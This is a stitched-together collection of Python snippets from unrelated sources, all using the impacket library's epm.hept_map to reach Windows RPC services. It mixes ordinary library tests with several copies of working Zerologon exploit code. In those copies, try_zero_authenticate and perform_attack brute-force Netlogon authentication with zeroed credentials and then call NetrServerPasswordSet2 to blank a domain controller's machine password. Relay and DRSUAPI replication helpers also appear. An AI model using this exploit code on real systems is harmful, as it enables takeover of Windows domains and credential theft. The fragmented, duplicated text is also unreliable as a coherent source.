def test_hept_map(self): MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0')) resp = epm.hept_map(self.machine,MSRPC_UUID_SAMR) resp = epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0')) resp = epm.hept_map(self.machine,MSRPC_UUID_ATSVC) MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0')) resp = epm.hept_map(self.machine,MSRPC_UUID_SCMR, protocol = 'ncacn_ip_tcp')
def test_bigRequestMustFragment(self): class dummyCall(NDRCALL): opnum = 2 structure = ( ('Name', RPC_UNICODE_STRING), ) lmhash, nthash = self.hashes.split(':') oldBinding = self.stringBinding self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') print(self.stringBinding) dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=0, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, dceAuth=True, doKerberos=True, bind=samr.MSRPC_UUID_SAMR) self.stringBinding = oldBinding request = samr.SamrConnect() request['ServerName'] = b'BETO\x00' request['DesiredAccess'] = samr.DELETE | samr.READ_CONTROL | samr.WRITE_DAC | samr.WRITE_OWNER | samr.ACCESS_SYSTEM_SECURITY | samr.GENERIC_READ | samr.GENERIC_WRITE | samr.GENERIC_EXECUTE | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_SHUTDOWN | samr.SAM_SERVER_INITIALIZE | samr.SAM_SERVER_CREATE_DOMAIN | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN | samr.SAM_SERVER_READ | samr.SAM_SERVER_WRITE | samr.SAM_SERVER_EXECUTE resp = dce.request(request) request = samr.SamrEnumerateDomainsInSamServer() request['ServerHandle'] = resp['ServerHandle'] request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 dce.request(request) try: request = samr.SamrLookupDomainInSamServer() request['ServerHandle'] = resp['ServerHandle'] request['Name'] = 'A'*4500 dce.request(request) except Exception as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise dce.disconnect()
def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) # TODO: support relaying RPC to different endpoints (e.g. DCOM, SpoolSS) # TODO: create a single LOG interface for ntlmrelayx to provide a user info which message/error to which thread belongs self.endpoint = serverConfig.rpc_mode if self.endpoint == "TSCH": self.endpoint_uuid = tsch.MSRPC_UUID_TSCHS else: raise NotImplementedError("Not implemented!") if self.serverConfig.rpc_use_smb: if self.endpoint == "TSCH": self.stringbinding = "ncacn_np:%s[\\pipe\\atsvc]" % target.netloc else: raise NotImplementedError("Not implemented!") else: LOG.debug( "Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint)) self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp') LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str: string_binding = r"ncacn_ip_tcp:%s[135]" % target rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_connect_timeout(timeout) dce = rpctransport.get_dce_rpc() logging.debug("Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))) try: dce.connect() except Exception as e: logging.warning("Failed to connect to endpoint mapper: %s" % e) return None try: endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) logging.debug("Resolved dynamic endpoint %s to %s" % (repr(uuid.bin_to_string(interface)), repr(endpoint))) return endpoint except Exception: logging.debug("Failed to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))) return None
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags ) # It worked! assert server_auth['ErrorCode'] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def try_zero_authenticate(dc_handle, dc_ip, target_computer): binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory( binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 flags = 0x212fffff nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) assert server_auth['ErrorCode'] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: if ex.get_error_code() == 0xc0000022: return None else: fail( f'Unexpected error code from DC: {ex.get_error_code()}.' ) except BaseException as ex: fail(f'Unexpected error: {ex}.')
def build_dce(domain, user, password, lmhash, nthash, target_computer, pipe): binding_strings = dict() binding_strings['srvsvc'] = srvs.MSRPC_UUID_SRVS binding_strings['wkssvc'] = wkst.MSRPC_UUID_WKST binding_strings['samr'] = samr.MSRPC_UUID_SAMR binding_strings['svcctl'] = scmr.MSRPC_UUID_SCMR binding_strings['drsuapi'] = drsuapi.MSRPC_UUID_DRSUAPI # TODO: try to fallback to TCP/139 if tcp/445 is closed if pipe == r'\drsuapi': string_binding = epm.hept_map(target_computer, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_credentials(username=user, password=password, domain=domain, lmhash=lmhash, nthash=nthash) else: rpctransport = transport.SMBTransport(target_computer, 445, pipe, username=user, password=password, domain=domain, lmhash=lmhash, nthash=nthash) dce = rpctransport.get_dce_rpc() if pipe == r'\drsuapi': dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(binding_strings[pipe[1:]]) return dce
def test_bigRequestMustFragment(self): class dummyCall(NDRCALL): opnum = 2 structure = ( ('Name', RPC_UNICODE_STRING), ) lmhash, nthash = self.hashes.split(':') oldBinding = self.stringBinding self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') print self.stringBinding dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=0, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, dceAuth=True, doKerberos=True, bind=samr.MSRPC_UUID_SAMR) self.stringBinding = oldBinding request = samr.SamrConnect() request['ServerName'] = u'BETO\x00' request['DesiredAccess'] = samr.DELETE | samr.READ_CONTROL | samr.WRITE_DAC | samr.WRITE_OWNER | samr.ACCESS_SYSTEM_SECURITY | samr.GENERIC_READ | samr.GENERIC_WRITE | samr.GENERIC_EXECUTE | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_SHUTDOWN | samr.SAM_SERVER_INITIALIZE | samr.SAM_SERVER_CREATE_DOMAIN | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN | samr.SAM_SERVER_READ | samr.SAM_SERVER_WRITE | samr.SAM_SERVER_EXECUTE resp = dce.request(request) request = samr.SamrEnumerateDomainsInSamServer() request['ServerHandle'] = resp['ServerHandle'] request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 resp2 = dce.request(request) try: request = samr.SamrLookupDomainInSamServer() request['ServerHandle'] = resp['ServerHandle'] request['Name'] = 'A'*4500 resp = dce.request(request) except Exception, e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise
def _create_rpc_connection(self, pipe): # Here we build the DCE/RPC connection self._pipe = pipe binding_strings = dict() binding_strings['srvsvc'] = srvs.MSRPC_UUID_SRVS binding_strings['wkssvc'] = wkst.MSRPC_UUID_WKST binding_strings['samr'] = samr.MSRPC_UUID_SAMR binding_strings['svcctl'] = scmr.MSRPC_UUID_SCMR binding_strings['drsuapi'] = drsuapi.MSRPC_UUID_DRSUAPI # TODO: try to fallback to TCP/139 if tcp/445 is closed if self._pipe == r'\drsuapi': string_binding = epm.hept_map(self._target_computer, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_credentials(username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) else: rpctransport = transport.SMBTransport(self._target_computer, 445, self._pipe, username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) rpctransport.set_connect_timeout(10) dce = rpctransport.get_dce_rpc() if self._pipe == r'\drsuapi': dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(binding_strings[self._pipe[1:]]) self._rpc_connection = dce
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # 连接到DC的Netlogon服务。 binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # 使用全零challenge和证书。 plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Windows 10客户端观察到的标准标志(包括AES),只有签名/印章标志被禁用。 flags = 0x212fffff # 发送challenge和证书请求包。 nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags ) # worked! assert server_auth['ErrorCode'] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。 if ex.get_error_code() == 0xc0000022: return None else: fail(f'来自DC的意外错误代码: {ex.get_error_code()}.') except BaseException as ex: fail(f'意外错误: {ex}.')
def connect_to_dc(dc_ip) -> object: binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con
def run_samr(self): if self.__targetIp is not None: stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') else: stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') rpctransport = transport.DCERPCTransportFactory(stringBinding) rpctransport.set_dport(self.__port) if self.__targetIp is not None: rpctransport.setRemoteHost(self.__targetIp) rpctransport.setRemoteName(self.__target) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.doSAMRAdd(rpctransport)
def setUp(self): super(DCERPCTests, self).setUp() self.set_transport_config(machine_account=self.machine_account) if self.string_binding_formatting == self.STRING_BINDING_FORMATTING: self.string_binding = self.string_binding.format(self) elif self.string_binding_formatting == self.STRING_BINDING_MAPPER: self.string_binding = epm.hept_map(self.machine, self.iface_uuid, protocol=self.protocol)
def __init__(self, machine, username, password, domain): binding = hept_map(machine, even6.MSRPC_UUID_EVEN6, protocol='ncacn_ip_tcp') trans = transport.DCERPCTransportFactory(binding) trans.set_credentials(username, password, domain) self.dce = trans.get_dce_rpc() self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
def setUp(self): RRPTests.setUp(self) configFile = ConfigParser.ConfigParser() configFile.read('dcetests.cfg') self.username = configFile.get('TCPTransport', 'username') self.domain = configFile.get('TCPTransport', 'domain') self.serverName = configFile.get('TCPTransport', 'servername') self.password = configFile.get('TCPTransport', 'password') self.machine = configFile.get('TCPTransport', 'machine') self.hashes = configFile.get('TCPTransport', 'hashes') self.stringBinding = epm.hept_map(self.machine, rrp.MSRPC_UUID_RRP, protocol = 'ncacn_ip_tcp')
def setUp(self): DHCPMTests.setUp(self) configFile = configparser.ConfigParser() configFile.read('dcetests.cfg') self.username = configFile.get('TCPTransport', 'username') self.domain = configFile.get('TCPTransport', 'domain') self.serverName = configFile.get('TCPTransport', 'servername') self.password = configFile.get('TCPTransport', 'password') self.machine = configFile.get('TCPTransport', 'machine') self.hashes = configFile.get('TCPTransport', 'hashes') self.stringBinding = epm.hept_map(self.machine, dhcpm.MSRPC_UUID_DHCPSRV2, protocol = 'ncacn_ip_tcp') self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
def setUp(self): NRPCTests.setUp(self) configFile = ConfigParser.ConfigParser() configFile.read("dcetests.cfg") self.username = configFile.get("TCPTransport", "username") self.domain = configFile.get("TCPTransport", "domain") self.serverName = configFile.get("TCPTransport", "servername") self.password = configFile.get("TCPTransport", "password") self.machine = configFile.get("TCPTransport", "machine") self.hashes = configFile.get("TCPTransport", "hashes") # print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') self.stringBinding = epm.hept_map(self.machine, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
def setUp(self): DRSRTests.setUp(self) configFile = ConfigParser.ConfigParser() configFile.read('dcetests.cfg') self.username = configFile.get('TCPTransport', 'username') self.domain = configFile.get('TCPTransport', 'domain') self.serverName = configFile.get('TCPTransport', 'servername') self.password = configFile.get('TCPTransport', 'password') self.machine = configFile.get('TCPTransport', 'machine') self.hashes = configFile.get('TCPTransport', 'hashes') self.stringBinding = epm.hept_map(self.machine, drsuapi.MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp') self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
def setUp(self): FASPTests.setUp(self) configFile = configparser.ConfigParser() configFile.read('dcetests.cfg') self.username = configFile.get('TCPTransport', 'username') self.domain = configFile.get('TCPTransport', 'domain') self.serverName = configFile.get('TCPTransport', 'servername') self.password = configFile.get('TCPTransport', 'password') self.machine = configFile.get('TCPTransport', 'machine') self.hashes = configFile.get('TCPTransport', 'hashes') self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol = 'ncacn_ip_tcp') self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Creates bind to the DC over RPC. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() # Connects to RPC rpc_con.connect() # Creates bind to RPC rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 # 16 Bytes, or two hextets of Zero ciphertext = b'\x00' * 8 # 16 Bytes, or two hextets of Zero # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Sends Server Challenge Request nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: #Attempts to Authenticate to the target Domain Controller and actually exploit Zero Logon server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) #If login is successful, begin the attempt to change the password #For more info see: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/nrpc.py newPassRequest = nrpc.NetrServerPasswordSet2() newPassRequest['PrimaryName'] = dc_handle + '\x00' newPassRequest['AccountName'] = target_computer + '$\x00' newPassRequest[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel auth = nrpc.NETLOGON_AUTHENTICATOR() auth['Credential'] = b'\x00' * 8 auth['Timestamp'] = 0 newPassRequest['Authenticator'] = auth newPassRequest['ComputerName'] = target_computer + '\x00' newPassRequest['ClearNewPassword'] = b'\x00' * 516 #Triggers password reset rpc_con.request(newPassRequest) return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) #====This section will change machine password to null, can dump hashes without password ===== #use impacket nrpc.py function. This emulates MS NetrServerPasswordSet2() function newPassRequest = nrpc.NetrServerPasswordSet2() newPassRequest['PrimaryName'] = dc_handle + '\x00' newPassRequest['AccountName'] = target_computer + '$\x00' newPassRequest[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel auth = nrpc.NETLOGON_AUTHENTICATOR() auth['Credential'] = b'\x00' * 8 auth['Timestamp'] = 0 newPassRequest['Authenticator'] = auth newPassRequest['ComputerName'] = target_computer + '\x00' newPassRequest['ClearNewPassword'] = b'\x00' * 516 rpc_con.request(newPassRequest) #=======End section======== # It worked! assert server_auth['ErrorCode'] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def ConnectRPCServer(dc_ip): rpc_con = None try: binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) except: print("Unexpected error:", sys.exc_info()[0]) raise return rpc_con
def dump(self, remoteName, remoteHost): stringbinding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') logging.info('StringBinding %s' % stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '\x00', b'12345678') serverChallenge = resp['ServerChallenge'] ntHash = unhexlify(self.__nthash) # Empty at this point self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678', serverChallenge) self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678', self.sessionKey) try: resp = nrpc.hNetrServerAuthenticate3( dce, '\\\\' + remoteName + '\x00', self.__username + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, remoteName + '\x00', self.ppp, 0x212fffff) except Exception as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise self.clientStoredCredential = pack('<Q', unpack('<Q', self.ppp)[0] + 10) request = NetrServerPasswordSet2() request['PrimaryName'] = '\\\\' + remoteName + '\x00' request['AccountName'] = remoteName + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['Authenticator'] = self.update_authenticator() request['ComputerName'] = remoteName + '\x00' encpassword = nrpc.ComputeNetlogonCredentialAES( self.__password, self.sessionKey) indata = b'\x00' * (512 - len(self.__password)) + self.__password + pack( '<L', len(self.__password)) request['ClearNewPassword'] = nrpc.ComputeNetlogonCredentialAES( indata, self.sessionKey) result = dce.request(request) print('Change password OK')
def connect(username, password, domain, lmhash, nthash, address, port): stringbinding = epm.hept_map(address, par.MSRPC_UUID_PAR, protocol='ncacn_ip_tcp') rpctransport = DCERPCTransportFactory(stringbinding) rpctransport.set_credentials(username, password, domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(par.MSRPC_UUID_PAR, transfer_syntax=('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0')) return dce
def __connectDrds(self): stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpc = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*(self.__smbConnection.getCredentials())) rpc.set_kerberos(self.__doKerberos) self.__drsr = rpc.get_dce_rpc() self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) if self.__doKerberos: self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__drsr.connect() self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = self.__drsr.request(request) if logging.getLogger().level == logging.DEBUG: logging.debug('DRSBind() answer') resp.dump() self.__hDrs = resp['phDrs'] # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) if logging.getLogger().level == logging.DEBUG: logging.debug('DRSDomainControllerInfo() answer') resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0][ 'NtdsDsaObjectGuid'] else: logging.error("Couldn't get DC info for domain %s" % self.__domainName) raise Exception('Fatal, aborting')
def setUp(self): NRPCTests.setUp(self) configFile = ConfigParser.ConfigParser() configFile.read('dcetests.cfg') self.username = configFile.get('TCPTransport', 'username') self.domain = configFile.get('TCPTransport', 'domain') self.serverName = configFile.get('TCPTransport', 'servername') self.password = configFile.get('TCPTransport', 'password') self.machine = configFile.get('TCPTransport', 'machine') self.hashes = configFile.get('TCPTransport', 'hashes') self.machineUser = configFile.get('TCPTransport', 'machineuser') self.machineUserHashes = configFile.get('TCPTransport', 'machineuserhashes') # print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') self.stringBinding = epm.hept_map(self.machine, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
def perform_attack(dc_handle, dc_ip, target_computer): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) for attempt in range(0, MAX_ATTEMPTS): result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer) if result is None: print('=', end='', flush=True) else: break if result: print('\nTarget vulnerable, changing account password to empty string') result = None for attempt in range(0, MAX_ATTEMPTS): try: result = exploit(dc_handle, rpc_con, target_computer) except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: pass else: fail( f'Unexpected error code from DC: {ex.get_error_code()}.' ) except BaseException as ex: fail(f'Unexpected error: {ex}.') if result is None: print('=', end='', flush=True) else: break print('\nResult: ', end='') print(result['ErrorCode']) if result['ErrorCode'] == 0: print('\nExploit complete!') else: print('Non-zero return code, something went wrong?') else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
def serverReqChallenge(self): try: binding = epm.hept_map( self.address, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp' ) self.dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() self.dce.connect() self.dce.bind(nrpc.MSRPC_UUID_NRPC) return nrpc.hNetrServerReqChallenge( self.dce, self.primaryName, self.computerName, self.clientChallenge ) except BaseException as ex: self.logError(ex)
def init_connection(self): stringbinding = r'ncacn_ip_tcp:%s' % self.target stringbinding = epm.hept_map(self.target, tsch.MSRPC_UUID_TSCHS, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(stringbinding) dce = RelayDCE(rpctransport) dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_kerberos(0) dce.set_credentials(*rpctransport.get_credentials()) dce._DCERPC_v5__auth_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY dce.connect() self.dce = dce
def _config_rpc_transport(self): string_binding = epm.hept_map(self.target_ip, samr.MSRPC_UUID_SAMR, protocol='ncacn_np') rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_dport(self.port) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.target_ip, self.lmhash, self.nthash, self.aesKey) rpctransport.set_kerberos(self.k, self.dc_ip) return rpctransport
def __connectDrds(self): stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpc = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*(self.__smbConnection.getCredentials())) rpc.set_kerberos(self.__doKerberos) self.__drsr = rpc.get_dce_rpc() self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) if self.__doKerberos: self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__drsr.connect() self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = self.__drsr.request(request) if logging.getLogger().level == logging.DEBUG: logging.debug('DRSBind() answer') resp.dump() self.__hDrs = resp['phDrs'] # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) if logging.getLogger().level == logging.DEBUG: logging.debug('DRSDomainControllerInfo() answer') resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: logging.error("Couldn't get DC info for domain %s" % self.__domainName) raise Exception('Fatal, aborting')
